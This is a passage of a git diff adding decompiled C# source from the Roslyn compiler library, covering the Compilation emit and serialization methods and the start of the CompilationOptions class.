CancellationToken cancellationToken) + { + if (peStream == null) + { + throw new ArgumentNullException("peStream"); + } + if (!peStream.CanWrite) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportWrite, "peStream"); + } + if (pdbStream != null) + { + if ((object)options != null && options.DebugInformationFormat == DebugInformationFormat.Embedded) + { + throw new ArgumentException(CodeAnalysisResources.PdbStreamUnexpectedWhenEmbedding, "pdbStream"); + } + if (!pdbStream.CanWrite) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportWrite, "pdbStream"); + } + if ((object)options != null && options.EmitMetadataOnly) + { + throw new ArgumentException(CodeAnalysisResources.PdbStreamUnexpectedWhenEmittingMetadataOnly, "pdbStream"); + } + } + if (metadataPEStream != null && (object)options != null && options.EmitMetadataOnly) + { + throw new ArgumentException(CodeAnalysisResources.MetadataPeStreamUnexpectedWhenEmittingMetadataOnly, "metadataPEStream"); + } + if (metadataPEStream != null && (object)options != null && options.IncludePrivateMembers) + { + throw new ArgumentException(CodeAnalysisResources.IncludingPrivateMembersUnexpectedWhenEmittingToMetadataPeStream, "metadataPEStream"); + } + if (metadataPEStream == null && (object)options != null && !options.EmitMetadataOnly) + { + options = options.WithIncludePrivateMembers(value: true); + } + if ((object)options != null && options.DebugInformationFormat == DebugInformationFormat.Embedded && (object)options != null && options.EmitMetadataOnly) + { + throw new ArgumentException(CodeAnalysisResources.EmbeddingPdbUnexpectedWhenEmittingMetadata, "metadataPEStream"); + } + if (Options.OutputKind == OutputKind.NetModule) + { + if (metadataPEStream != null) + { + throw new ArgumentException(CodeAnalysisResources.CannotTargetNetModuleWhenEmittingRefAssembly, "metadataPEStream"); + } + if ((object)options != null && options.EmitMetadataOnly) + { + throw new ArgumentException(CodeAnalysisResources.CannotTargetNetModuleWhenEmittingRefAssembly, "EmitMetadataOnly"); + } + } + if (win32Resources != null && (!win32Resources.CanRead || !win32Resources.CanSeek)) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportReadAndSeek, "win32Resources"); + } + if (sourceLinkStream != null && !sourceLinkStream.CanRead) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportRead, "sourceLinkStream"); + } + if (embeddedTexts != null && !embeddedTexts.IsEmpty() && pdbStream == null && ((object)options == null || options.DebugInformationFormat != DebugInformationFormat.Embedded)) + { + throw new ArgumentException(CodeAnalysisResources.EmbeddedTextsRequirePdb, "embeddedTexts"); + } + return Emit(peStream, metadataPEStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, options, debugEntryPoint, sourceLinkStream, embeddedTexts, rebuildData, null, cancellationToken); + } + + internal EmitResult Emit(Stream peStream, Stream? metadataPEStream, Stream? pdbStream, Stream? xmlDocumentationStream, Stream? win32Resources, IEnumerable? manifestResources, EmitOptions? options, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, RebuildData? rebuildData, CompilationTestData? testData, CancellationToken cancellationToken) + { + options = options ?? EmitOptions.Default.WithIncludePrivateMembers(metadataPEStream == null); + bool flag = options.DebugInformationFormat == DebugInformationFormat.Embedded; + DiagnosticBag instance = DiagnosticBag.GetInstance(); + CommonPEModuleBuilder commonPEModuleBuilder = CheckOptionsAndCreateModuleBuilder(instance, manifestResources, options, debugEntryPoint, sourceLinkStream, embeddedTexts, testData, cancellationToken); + bool flag2 = false; + if (commonPEModuleBuilder != null) + { + try + { + flag2 = CompileMethods(commonPEModuleBuilder, pdbStream != null || flag, instance, null, cancellationToken); + if (!options.EmitMetadataOnly) + { + if (!GenerateResources(commonPEModuleBuilder, win32Resources, rebuildData != null, instance, cancellationToken) || !GenerateDocumentationComments(xmlDocumentationStream, options.OutputNameOverride, instance, cancellationToken)) + { + flag2 = false; + } + if (flag2) + { + ReportUnusedImports(instance, cancellationToken); + } + } + else if (xmlDocumentationStream != null) + { + flag2 = GenerateDocumentationComments(xmlDocumentationStream, options.OutputNameOverride, instance, cancellationToken); + } + } + finally + { + commonPEModuleBuilder.CompilationFinished(); + } + RSAParameters? privateKeyOpt = null; + if (Options.StrongNameProvider != null && SignUsingBuilder && !Options.PublicSign) + { + privateKeyOpt = StrongNameKeys.PrivateKey; + } + if (!options.EmitMetadataOnly && CommonCompiler.HasUnsuppressedErrors(instance)) + { + flag2 = false; + } + if (flag2) + { + flag2 = SerializeToPeStream(commonPEModuleBuilder, new SimpleEmitStreamProvider(peStream), (metadataPEStream != null) ? new SimpleEmitStreamProvider(metadataPEStream) : null, (pdbStream != null) ? new SimpleEmitStreamProvider(pdbStream) : null, rebuildData, testData?.SymWriterFactory, instance, options, privateKeyOpt, cancellationToken); + } + } + return new EmitResult(flag2, instance.ToReadOnlyAndFree()); + } + + [Obsolete("UpdatedMethods is now part of EmitDifferenceResult, so you should use an overload that doesn't take it.")] + public EmitDifferenceResult EmitDifference(EmitBaseline baseline, IEnumerable edits, Stream metadataStream, Stream ilStream, Stream pdbStream, ICollection updatedMethods, CancellationToken cancellationToken = default(CancellationToken)) + { + return EmitDifference(baseline, edits, (ISymbol s) => false, metadataStream, ilStream, pdbStream, updatedMethods, cancellationToken); + } + + [Obsolete("UpdatedMethods is now part of EmitDifferenceResult, so you should use an overload that doesn't take it.")] + public EmitDifferenceResult EmitDifference(EmitBaseline baseline, IEnumerable edits, Func isAddedSymbol, Stream metadataStream, Stream ilStream, Stream pdbStream, ICollection updatedMethods, CancellationToken cancellationToken = default(CancellationToken)) + { + EmitDifferenceResult emitDifferenceResult = EmitDifference(baseline, edits, isAddedSymbol, metadataStream, ilStream, pdbStream, cancellationToken); + ImmutableArray.Enumerator enumerator = emitDifferenceResult.UpdatedMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodDefinitionHandle current = enumerator.Current; + updatedMethods.Add(current); + } + return emitDifferenceResult; + } + + public EmitDifferenceResult EmitDifference(EmitBaseline baseline, IEnumerable edits, Func isAddedSymbol, Stream metadataStream, Stream ilStream, Stream pdbStream, CancellationToken cancellationToken = default(CancellationToken)) + { + if (baseline == null) + { + throw new ArgumentNullException("baseline"); + } + if (edits == null) + { + throw new ArgumentNullException("edits"); + } + if (isAddedSymbol == null) + { + throw new ArgumentNullException("isAddedSymbol"); + } + if (metadataStream == null) + { + throw new ArgumentNullException("metadataStream"); + } + if (ilStream == null) + { + throw new ArgumentNullException("ilStream"); + } + if (pdbStream == null) + { + throw new ArgumentNullException("pdbStream"); + } + return EmitDifference(baseline, edits, isAddedSymbol, metadataStream, ilStream, pdbStream, (CompilationTestData?)null, cancellationToken); + } + + internal abstract EmitDifferenceResult EmitDifference(EmitBaseline baseline, IEnumerable edits, Func isAddedSymbol, Stream metadataStream, Stream ilStream, Stream pdbStream, CompilationTestData? testData, CancellationToken cancellationToken); + + internal CommonPEModuleBuilder? CheckOptionsAndCreateModuleBuilder(DiagnosticBag diagnostics, IEnumerable? manifestResources, EmitOptions options, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, CompilationTestData? testData, CancellationToken cancellationToken) + { + options.ValidateOptions(diagnostics, MessageProvider, Options.Deterministic); + if (debugEntryPoint != null) + { + ValidateDebugEntryPoint(debugEntryPoint, diagnostics); + } + if (Options.OutputKind == OutputKind.NetModule && manifestResources != null) + { + foreach (ResourceDescription manifestResource in manifestResources) + { + if (manifestResource.FileName != null) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_ResourceInModule, Location.None)); + } + } + } + if (CommonCompiler.HasUnsuppressableErrors(diagnostics)) + { + return null; + } + if (IsSubmission && !HasCodeToEmit()) + { + diagnostics.AddRange(GetDiagnostics(cancellationToken)); + return null; + } + return CreateModuleBuilder(options, debugEntryPoint, sourceLinkStream, embeddedTexts, manifestResources, testData, diagnostics, cancellationToken); + } + + internal abstract void ValidateDebugEntryPoint(IMethodSymbol debugEntryPoint, DiagnosticBag diagnostics); + + internal bool SerializeToPeStream(CommonPEModuleBuilder moduleBeingBuilt, EmitStreamProvider peStreamProvider, EmitStreamProvider? metadataPEStreamProvider, EmitStreamProvider? pdbStreamProvider, RebuildData? rebuildData, Func? testSymWriterFactory, DiagnosticBag diagnostics, EmitOptions emitOptions, RSAParameters? privateKeyOpt, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + PdbWriter pdbWriter = null; + DiagnosticBag metadataDiagnostics = null; + DiagnosticBag diagnosticBag = null; + bool isEmitDeterministic = IsEmitDeterministic; + string pdbFilePath = emitOptions.PdbFilePath; + pdbFilePath = ((moduleBeingBuilt.DebugInformationFormat != DebugInformationFormat.Embedded && pdbStreamProvider == null) ? null : (pdbFilePath ?? FileNameUtilities.ChangeExtension(SourceModule.Name, "pdb"))); + if (moduleBeingBuilt.DebugInformationFormat == DebugInformationFormat.Embedded && !RoslynString.IsNullOrEmpty(pdbFilePath)) + { + pdbFilePath = PathUtilities.GetFileName(pdbFilePath); + } + EmitStream emitStream = null; + EmitStream emitStream2 = null; + try + { + EmitStreamSignKind emitStreamSignKind = (IsRealSigned ? (SignUsingBuilder ? EmitStreamSignKind.SignedWithBuilder : EmitStreamSignKind.SignedWithFile) : EmitStreamSignKind.None); + emitStream = new EmitStream(peStreamProvider, emitStreamSignKind, StrongNameKeys, Options.StrongNameProvider); + emitStream2 = ((metadataPEStreamProvider == null) ? null : new EmitStream(metadataPEStreamProvider, emitStreamSignKind, StrongNameKeys, Options.StrongNameProvider)); + metadataDiagnostics = DiagnosticBag.GetInstance(); + if (moduleBeingBuilt.DebugInformationFormat == DebugInformationFormat.Pdb && pdbStreamProvider != null) + { + pdbWriter = new PdbWriter(pdbFilePath, testSymWriterFactory, isEmitDeterministic ? moduleBeingBuilt.PdbChecksumAlgorithm : default(HashAlgorithmName)); + } + Func getPortablePdbStreamOpt = ((moduleBeingBuilt.DebugInformationFormat != DebugInformationFormat.PortablePdb || pdbStreamProvider == null) ? null : ((Func)(() => ConditionalGetOrCreateStream(pdbStreamProvider, metadataDiagnostics)))); + try + { + if (SerializePeToStream(moduleBeingBuilt, metadataDiagnostics, MessageProvider, emitStream.GetCreateStreamFunc(MessageProvider, metadataDiagnostics), emitStream2?.GetCreateStreamFunc(MessageProvider, metadataDiagnostics), getPortablePdbStreamOpt, pdbWriter, pdbFilePath, rebuildData, emitOptions.EmitMetadataOnly, emitOptions.IncludePrivateMembers, isEmitDeterministic, emitOptions.InstrumentationKinds.Contains(InstrumentationKind.TestCoverage), privateKeyOpt, cancellationToken) && pdbWriter != null) + { + Stream orCreateStream = pdbStreamProvider.GetOrCreateStream(metadataDiagnostics); + if (orCreateStream != null) + { + pdbWriter.WriteTo(orCreateStream); + } + } + } + catch (SymUnmanagedWriterException ex) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PdbWritingFailed, Location.None, ex.Message)); + return false; + } + catch (PeWritingException ex2) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PeWritingFailure, Location.None, ex2.InnerException?.ToString() ?? "")); + return false; + } + catch (ResourceException ex3) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_CantReadResource, Location.None, ex3.Message, ex3.InnerException?.Message ?? "")); + return false; + } + catch (PermissionSetFileReadException ex4) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PermissionSetAttributeFileReadError, Location.None, ex4.FileName, ex4.PropertyName, ex4.Message)); + return false; + } + if (!FilterAndAppendAndFreeDiagnostics(diagnostics, ref metadataDiagnostics, cancellationToken)) + { + return false; + } + return emitStream.Complete(MessageProvider, diagnostics) && (emitStream2?.Complete(MessageProvider, diagnostics) ?? true); + } + finally + { + pdbWriter?.Dispose(); + emitStream?.Close(); + emitStream2?.Close(); + diagnosticBag?.Free(); + metadataDiagnostics?.Free(); + } + } + + private static Stream? ConditionalGetOrCreateStream(EmitStreamProvider metadataPEStreamProvider, DiagnosticBag metadataDiagnostics) + { + if (metadataDiagnostics.HasAnyErrors()) + { + return null; + } + return metadataPEStreamProvider.GetOrCreateStream(metadataDiagnostics); + } + + internal static bool SerializePeToStream(CommonPEModuleBuilder moduleBeingBuilt, DiagnosticBag metadataDiagnostics, CommonMessageProvider messageProvider, Func getPeStream, Func? getMetadataPeStreamOpt, Func? getPortablePdbStreamOpt, PdbWriter? nativePdbWriterOpt, string? pdbPathOpt, RebuildData? rebuildData, bool metadataOnly, bool includePrivateMembers, bool isDeterministic, bool emitTestCoverageData, RSAParameters? privateKeyOpt, CancellationToken cancellationToken) + { + bool flag = getMetadataPeStreamOpt != null; + bool includePrivateMembers2 = !metadataOnly || includePrivateMembers; + bool isDeterministic2 = (metadataOnly && !includePrivateMembers) || isDeterministic; + if (!PeWriter.WritePeToStream(new EmitContext(moduleBeingBuilt, metadataDiagnostics, metadataOnly, includePrivateMembers2, null, rebuildData), messageProvider, getPeStream, getPortablePdbStreamOpt, nativePdbWriterOpt, pdbPathOpt, metadataOnly, isDeterministic2, emitTestCoverageData, privateKeyOpt, cancellationToken)) + { + return false; + } + if (flag && !PeWriter.WritePeToStream(new EmitContext(moduleBeingBuilt, null, metadataDiagnostics, metadataOnly: true, includePrivateMembers: false), messageProvider, getMetadataPeStreamOpt, null, null, null, metadataOnly: true, isDeterministic: true, emitTestCoverageData: false, privateKeyOpt, cancellationToken)) + { + return false; + } + return true; + } + + internal EmitBaseline? SerializeToDeltaStreams(CommonPEModuleBuilder moduleBeingBuilt, EmitBaseline baseline, DefinitionMap definitionMap, SymbolChanges changes, Stream metadataStream, Stream ilStream, Stream pdbStream, ArrayBuilder updatedMethods, ArrayBuilder changedTypes, DiagnosticBag diagnostics, Func? testSymWriterFactory, string? pdbFilePath, CancellationToken cancellationToken) + { + PdbWriter pdbWriter = ((moduleBeingBuilt.DebugInformationFormat != DebugInformationFormat.Pdb) ? null : new PdbWriter(pdbFilePath ?? FileNameUtilities.ChangeExtension(SourceModule.Name, "pdb"), testSymWriterFactory, default(HashAlgorithmName))); + using (pdbWriter) + { + EmitContext context = new EmitContext(moduleBeingBuilt, diagnostics, metadataOnly: false, includePrivateMembers: true); + Guid encId = Guid.NewGuid(); + try + { + DeltaMetadataWriter deltaMetadataWriter = new DeltaMetadataWriter(context, MessageProvider, baseline, encId, definitionMap, changes, cancellationToken); + moduleBeingBuilt.TestData?.SetMetadataWriter(deltaMetadataWriter); + deltaMetadataWriter.WriteMetadataAndIL(pdbWriter, metadataStream, ilStream, (pdbWriter == null) ? pdbStream : null, out var metadataSizes); + deltaMetadataWriter.GetUpdatedMethodTokens(updatedMethods); + deltaMetadataWriter.GetChangedTypeTokens(changedTypes); + pdbWriter?.WriteTo(pdbStream); + return diagnostics.HasAnyErrors() ? null : deltaMetadataWriter.GetDelta(this, encId, metadataSizes); + } + catch (SymUnmanagedWriterException ex) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PdbWritingFailed, Location.None, ex.Message)); + return null; + } + catch (PeWritingException ex2) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PeWritingFailure, Location.None, ex2.InnerException?.ToString() ?? "")); + return null; + } + catch (PermissionSetFileReadException ex3) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_PermissionSetAttributeFileReadError, Location.None, ex3.FileName, ex3.PropertyName, ex3.Message)); + return null; + } + } + } + + internal string? Feature(string p) + { + if (!_features.TryGetValue(p, out string value)) + { + return null; + } + return value; + } + + internal void MarkImportDirectiveAsUsed(SyntaxReference node) + { + MarkImportDirectiveAsUsed(node.SyntaxTree, node.Span.Start); + } + + internal void MarkImportDirectiveAsUsed(SyntaxTree? syntaxTree, int position) + { + if (!IsSubmission && syntaxTree != null) + { + TreeToUsedImportDirectivesMap.GetOrAdd(syntaxTree, s_createSetCallback).Add(position); + } + } + + internal bool IsImportDirectiveUsed(SyntaxTree syntaxTree, int position) + { + if (IsSubmission) + { + return true; + } + if (syntaxTree != null && TreeToUsedImportDirectivesMap.TryGetValue(syntaxTree, out SmallConcurrentSetOfInts value)) + { + return value.Contains(position); + } + return false; + } + + internal int CompareSyntaxTreeOrdering(SyntaxTree tree1, SyntaxTree tree2) + { + if (tree1 == tree2) + { + return 0; + } + return GetSyntaxTreeOrdinal(tree1) - GetSyntaxTreeOrdinal(tree2); + } + + internal abstract int GetSyntaxTreeOrdinal(SyntaxTree tree); + + internal abstract int CompareSourceLocations(Location loc1, Location loc2); + + internal abstract int CompareSourceLocations(SyntaxReference loc1, SyntaxReference loc2); + + internal abstract int CompareSourceLocations(SyntaxNode loc1, SyntaxNode loc2); + + internal TLocation FirstSourceLocation(TLocation first, TLocation second) where TLocation : Location + { + if (CompareSourceLocations(first, second) <= 0) + { + return first; + } + return second; + } + + internal TLocation? FirstSourceLocation(ImmutableArray locations) where TLocation : Location + { + if (locations.IsEmpty) + { + return null; + } + TLocation val = locations[0]; + for (int i = 1; i < locations.Length; i++) + { + val = FirstSourceLocation(val, locations[i]); + } + return val; + } + + internal string GetMessage(CompilationStage stage) + { + return $"{AssemblyName} ({stage.ToString()})"; + } + + internal string GetMessage(ITypeSymbol source, ITypeSymbol destination) + { + if (source == null || destination == null) + { + return AssemblyName ?? ""; + } + return string.Format("{0}: {1} {2} -> {3} {4}", new object[5] + { + AssemblyName, + source.TypeKind.ToString(), + source.Name, + destination.TypeKind.ToString(), + destination.Name + }); + } + + public abstract bool ContainsSymbolsWithName(Func predicate, SymbolFilter filter = SymbolFilter.TypeAndMember, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IEnumerable GetSymbolsWithName(Func predicate, SymbolFilter filter = SymbolFilter.TypeAndMember, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract bool ContainsSymbolsWithName(string name, SymbolFilter filter = SymbolFilter.TypeAndMember, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IEnumerable GetSymbolsWithName(string name, SymbolFilter filter = SymbolFilter.TypeAndMember, CancellationToken cancellationToken = default(CancellationToken)); + + internal void MakeMemberMissing(WellKnownMember member) + { + MakeMemberMissing((int)member); + } + + internal void MakeMemberMissing(SpecialMember member) + { + MakeMemberMissing(0 - member - 1); + } + + internal bool IsMemberMissing(WellKnownMember member) + { + return IsMemberMissing((int)member); + } + + internal bool IsMemberMissing(SpecialMember member) + { + return IsMemberMissing(0 - member - 1); + } + + private void MakeMemberMissing(int member) + { + if (_lazyMakeMemberMissingMap == null) + { + _lazyMakeMemberMissingMap = new SmallDictionary(); + } + _lazyMakeMemberMissingMap[member] = true; + } + + private bool IsMemberMissing(int member) + { + if (_lazyMakeMemberMissingMap != null) + { + return _lazyMakeMemberMissingMap.ContainsKey(member); + } + return false; + } + + internal void MakeTypeMissing(SpecialType type) + { + MakeTypeMissing((int)type); + } + + internal void MakeTypeMissing(WellKnownType type) + { + MakeTypeMissing((int)type); + } + + private void MakeTypeMissing(int type) + { + if (_lazyMakeWellKnownTypeMissingMap == null) + { + _lazyMakeWellKnownTypeMissingMap = new SmallDictionary(); + } + _lazyMakeWellKnownTypeMissingMap[type] = true; + } + + internal bool IsTypeMissing(SpecialType type) + { + return IsTypeMissing((int)type); + } + + internal bool IsTypeMissing(WellKnownType type) + { + return IsTypeMissing((int)type); + } + + private bool IsTypeMissing(int type) + { + if (_lazyMakeWellKnownTypeMissingMap != null) + { + return _lazyMakeWellKnownTypeMissingMap.ContainsKey(type); + } + return false; + } + + public ImmutableArray GetUnreferencedAssemblyIdentities(Diagnostic diagnostic) + { + if (diagnostic == null) + { + throw new ArgumentNullException("diagnostic"); + } + if (!IsUnreferencedAssemblyIdentityDiagnosticCode(diagnostic.Code)) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (object argument in diagnostic.Arguments) + { + if (argument is AssemblyIdentity item) + { + instance.Add(item); + } + } + return instance.ToImmutableAndFree(); + } + + internal abstract bool IsUnreferencedAssemblyIdentityDiagnosticCode(int code); + + public static string? GetRequiredLanguageVersion(Diagnostic diagnostic) + { + if (diagnostic == null) + { + throw new ArgumentNullException("diagnostic"); + } + string result = null; + if (diagnostic.Arguments != null) + { + foreach (object argument in diagnostic.Arguments) + { + if (argument is RequiredLanguageVersion requiredLanguageVersion) + { + result = requiredLanguageVersion.ToString(); + } + } + } + return result; + } + + public bool SupportsRuntimeCapability(RuntimeCapability capability) + { + return SupportsRuntimeCapabilityCore(capability); + } + + private protected abstract bool SupportsRuntimeCapabilityCore(RuntimeCapability capability); + + internal void CacheRetargetingAssemblySymbolNoLock(IAssemblySymbolInternal assembly) + { + _retargetingAssemblySymbols.Add(assembly); + } + + internal void AddRetargetingAssemblySymbolsNoLock(ArrayBuilder result) where T : IAssemblySymbolInternal + { + foreach (IAssemblySymbolInternal retargetingAssemblySymbol in _retargetingAssemblySymbols) + { + result.Add((T)retargetingAssemblySymbol); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationOptions.cs new file mode 100644 index 0000000..5f12451 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CompilationOptions.cs @@ -0,0 +1,414 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class CompilationOptions +{ + private readonly Lazy> _lazyErrors; + + private int _hashCode; + + public OutputKind OutputKind { get; protected set; } + + public string? ModuleName { get; protected set; } + + public string? ScriptClassName { get; protected set; } + + public string? MainTypeName { get; protected set; } + + public ImmutableArray CryptoPublicKey { get; protected set; } + + public string? CryptoKeyFile { get; protected set; } + + public string? CryptoKeyContainer { get; protected set; } + + public bool? DelaySign { get; protected set; } + + public bool PublicSign { get; protected set; } + + public bool CheckOverflow { get; protected set; } + + public Platform Platform { get; protected set; } + + public OptimizationLevel OptimizationLevel { get; protected set; } + + public ReportDiagnostic GeneralDiagnosticOption { get; protected set; } + + public int WarningLevel { get; protected set; } + + public bool ConcurrentBuild { get; protected set; } + + public bool Deterministic { get; protected set; } + + internal DateTime CurrentLocalTime { get; private protected set; } + + internal bool DebugPlusMode { get; set; } + + public MetadataImportOptions MetadataImportOptions { get; protected set; } + + internal bool ReferencesSupersedeLowerVersions { get; private protected set; } + + public ImmutableDictionary SpecificDiagnosticOptions { get; protected set; } + + public SyntaxTreeOptionsProvider? SyntaxTreeOptionsProvider { get; protected set; } + + public bool ReportSuppressedDiagnostics { get; protected set; } + + public MetadataReferenceResolver? MetadataReferenceResolver { get; protected set; } + + public XmlReferenceResolver? XmlReferenceResolver { get; protected set; } + + public SourceReferenceResolver? SourceReferenceResolver { get; protected set; } + + public StrongNameProvider? StrongNameProvider { get; protected set; } + + public AssemblyIdentityComparer AssemblyIdentityComparer { get; protected set; } + + public abstract NullableContextOptions NullableContextOptions { get; protected set; } + + [Obsolete] + protected internal ImmutableArray Features + { + get + { + throw new NotImplementedException(); + } + protected set + { + throw new NotImplementedException(); + } + } + + public abstract string Language { get; } + + internal bool EnableEditAndContinue => OptimizationLevel == OptimizationLevel.Debug; + + public ImmutableArray Errors => _lazyErrors.Value; + + internal abstract Diagnostic? FilterDiagnostic(Diagnostic diagnostic, CancellationToken cancellationToken); + + internal CompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics, string? moduleName, string? mainTypeName, string? scriptClassName, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, bool publicSign, OptimizationLevel optimizationLevel, bool checkOverflow, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, ImmutableDictionary specificDiagnosticOptions, bool concurrentBuild, bool deterministic, DateTime currentLocalTime, bool debugPlusMode, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, SyntaxTreeOptionsProvider? syntaxTreeOptionsProvider, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider, MetadataImportOptions metadataImportOptions, bool referencesSupersedeLowerVersions) + { + OutputKind = outputKind; + ModuleName = moduleName; + MainTypeName = mainTypeName; + ScriptClassName = scriptClassName ?? "Script"; + CryptoKeyContainer = cryptoKeyContainer; + CryptoKeyFile = (string.IsNullOrEmpty(cryptoKeyFile) ? null : cryptoKeyFile); + CryptoPublicKey = cryptoPublicKey.NullToEmpty(); + DelaySign = delaySign; + CheckOverflow = checkOverflow; + Platform = platform; + GeneralDiagnosticOption = generalDiagnosticOption; + WarningLevel = warningLevel; + SpecificDiagnosticOptions = specificDiagnosticOptions; + ReportSuppressedDiagnostics = reportSuppressedDiagnostics; + OptimizationLevel = optimizationLevel; + ConcurrentBuild = concurrentBuild; + Deterministic = deterministic; + CurrentLocalTime = currentLocalTime; + DebugPlusMode = debugPlusMode; + XmlReferenceResolver = xmlReferenceResolver; + SourceReferenceResolver = sourceReferenceResolver; + SyntaxTreeOptionsProvider = syntaxTreeOptionsProvider; + MetadataReferenceResolver = metadataReferenceResolver; + StrongNameProvider = strongNameProvider; + AssemblyIdentityComparer = assemblyIdentityComparer ?? Microsoft.CodeAnalysis.AssemblyIdentityComparer.Default; + MetadataImportOptions = metadataImportOptions; + ReferencesSupersedeLowerVersions = referencesSupersedeLowerVersions; + PublicSign = publicSign; + _lazyErrors = new Lazy>(delegate + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ValidateOptions(instance); + return instance.ToImmutableAndFree(); + }); + } + + internal bool CanReuseCompilationReferenceManager(CompilationOptions other) + { + if (MetadataImportOptions == other.MetadataImportOptions && ReferencesSupersedeLowerVersions == other.ReferencesSupersedeLowerVersions && OutputKind.IsNetModule() == other.OutputKind.IsNetModule() && object.Equals(XmlReferenceResolver, other.XmlReferenceResolver) && object.Equals(MetadataReferenceResolver, other.MetadataReferenceResolver)) + { + return object.Equals(AssemblyIdentityComparer, other.AssemblyIdentityComparer); + } + return false; + } + + internal static bool IsValidFileAlignment(int value) + { + switch (value) + { + case 512: + case 1024: + case 2048: + case 4096: + case 8192: + return true; + default: + return false; + } + } + + internal abstract ImmutableArray GetImports(); + + public CompilationOptions WithGeneralDiagnosticOption(ReportDiagnostic value) + { + return CommonWithGeneralDiagnosticOption(value); + } + + public CompilationOptions WithSpecificDiagnosticOptions(ImmutableDictionary? value) + { + return CommonWithSpecificDiagnosticOptions(value); + } + + public CompilationOptions WithSpecificDiagnosticOptions(IEnumerable> value) + { + return CommonWithSpecificDiagnosticOptions(value); + } + + public CompilationOptions WithReportSuppressedDiagnostics(bool value) + { + return CommonWithReportSuppressedDiagnostics(value); + } + + public CompilationOptions WithConcurrentBuild(bool concurrent) + { + return CommonWithConcurrentBuild(concurrent); + } + + public CompilationOptions WithDeterministic(bool deterministic) + { + return CommonWithDeterministic(deterministic); + } + + public CompilationOptions WithOutputKind(OutputKind kind) + { + return CommonWithOutputKind(kind); + } + + public CompilationOptions WithPlatform(Platform platform) + { + return CommonWithPlatform(platform); + } + + public CompilationOptions WithPublicSign(bool publicSign) + { + return CommonWithPublicSign(publicSign); + } + + public CompilationOptions WithOptimizationLevel(OptimizationLevel value) + { + return CommonWithOptimizationLevel(value); + } + + public CompilationOptions WithXmlReferenceResolver(XmlReferenceResolver? resolver) + { + return CommonWithXmlReferenceResolver(resolver); + } + + public CompilationOptions WithSourceReferenceResolver(SourceReferenceResolver? resolver) + { + return CommonWithSourceReferenceResolver(resolver); + } + + public CompilationOptions WithSyntaxTreeOptionsProvider(SyntaxTreeOptionsProvider? provider) + { + return CommonWithSyntaxTreeOptionsProvider(provider); + } + + public CompilationOptions WithMetadataReferenceResolver(MetadataReferenceResolver? resolver) + { + return CommonWithMetadataReferenceResolver(resolver); + } + + public CompilationOptions WithAssemblyIdentityComparer(AssemblyIdentityComparer comparer) + { + return CommonWithAssemblyIdentityComparer(comparer); + } + + public CompilationOptions WithStrongNameProvider(StrongNameProvider? provider) + { + return CommonWithStrongNameProvider(provider); + } + + public CompilationOptions WithModuleName(string? moduleName) + { + return CommonWithModuleName(moduleName); + } + + public CompilationOptions WithMainTypeName(string? mainTypeName) + { + return CommonWithMainTypeName(mainTypeName); + } + + public CompilationOptions WithScriptClassName(string scriptClassName) + { + return CommonWithScriptClassName(scriptClassName); + } + + public CompilationOptions WithCryptoKeyContainer(string? cryptoKeyContainer) + { + return CommonWithCryptoKeyContainer(cryptoKeyContainer); + } + + public CompilationOptions WithCryptoKeyFile(string? cryptoKeyFile) + { + return CommonWithCryptoKeyFile(cryptoKeyFile); + } + + public CompilationOptions WithCryptoPublicKey(ImmutableArray cryptoPublicKey) + { + return CommonWithCryptoPublicKey(cryptoPublicKey); + } + + public CompilationOptions WithDelaySign(bool? delaySign) + { + return CommonWithDelaySign(delaySign); + } + + public CompilationOptions WithOverflowChecks(bool checkOverflow) + { + return CommonWithCheckOverflow(checkOverflow); + } + + public CompilationOptions WithMetadataImportOptions(MetadataImportOptions value) + { + return CommonWithMetadataImportOptions(value); + } + + protected abstract CompilationOptions CommonWithConcurrentBuild(bool concurrent); + + protected abstract CompilationOptions CommonWithDeterministic(bool deterministic); + + protected abstract CompilationOptions CommonWithOutputKind(OutputKind kind); + + protected abstract CompilationOptions CommonWithPlatform(Platform platform); + + protected abstract CompilationOptions CommonWithPublicSign(bool publicSign); + + protected abstract CompilationOptions CommonWithOptimizationLevel(OptimizationLevel value); + + protected abstract CompilationOptions CommonWithXmlReferenceResolver(XmlReferenceResolver? resolver); + + protected abstract CompilationOptions CommonWithSourceReferenceResolver(SourceReferenceResolver? resolver); + + protected 